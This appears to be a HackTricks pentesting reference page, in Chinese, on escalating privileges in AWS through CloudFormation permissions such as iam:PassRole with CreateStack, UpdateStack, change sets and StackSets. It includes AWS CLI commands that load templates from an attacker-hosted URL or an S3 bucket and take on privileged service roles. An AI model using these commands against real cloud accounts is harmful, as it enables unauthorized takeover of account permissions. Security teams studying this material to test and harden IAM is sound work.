AWS - Cloudformation Privesc

支持 HackTricks

cloudformation

有关 cloudformation 的更多信息,请查看:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

拥有这些权限的攻击者 可以提升权限,通过制作一个 CloudFormation 堆栈,使用托管在其服务器上的自定义模板,以指定角色的权限执行操作:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

在以下页面中,您有一个 利用示例,附加权限为 cloudformation:DescribeStacks

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

潜在影响: 提升到指定的 cloudformation 服务角色。

iam:PassRole,(cloudformation:UpdateStack | cloudformation:SetStackPolicy)

在这种情况下,您可以 滥用现有的 cloudformation 堆栈 来更新它并提升权限,如前面的场景所示:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy 权限可以用来 给自己 UpdateStack 权限 以便对一个堆栈进行攻击。

潜在影响: 提升到指定的 cloudformation 服务角色。

cloudformation:UpdateStack | cloudformation:SetStackPolicy

如果你拥有这个权限但 没有 iam:PassRole,你仍然可以 更新使用的堆栈 并滥用 它们已经附加的 IAM 角色。查看前面的部分以获取利用示例(只需在更新中不指明任何角色)。

cloudformation:SetStackPolicy 权限可以用来 给自己 UpdateStack 权限 以便对一个堆栈进行攻击。

潜在影响: 提升到已经附加的 cloudformation 服务角色。

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

拥有 传递角色和创建 & 执行 ChangeSet 权限的攻击者可以 创建/更新一个新的 cloudformation 堆栈,滥用 cloudformation 服务角色,就像使用 CreateStack 或 UpdateStack 一样。

以下利用是 变体 CreateStack 的,使用 ChangeSet 权限 来创建一个堆栈。

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

cloudformation:SetStackPolicy 权限可以用来 给自己 ChangeSet 权限 以便对一个堆栈执行攻击。

潜在影响: 提升到 cloudformation 服务角色。

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

这与之前的方法类似,不需要传递 IAM 角色,所以你可以 滥用已经附加的角色,只需修改参数:

--change-set-type UPDATE

潜在影响: 提升到已附加的 cloudformation 服务角色。

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

攻击者可以滥用这些权限来创建/更新 StackSets,以滥用任意 cloudformation 角色。

潜在影响: 提升到 cloudformation 服务角色。

cloudformation:UpdateStackSet

攻击者可以在没有 passRole 权限的情况下滥用此权限来更新 StackSets,以滥用附加的 cloudformation 角色。

潜在影响: 提升到附加的 cloudformation 角色。

参考

支持 HackTricks

Last updated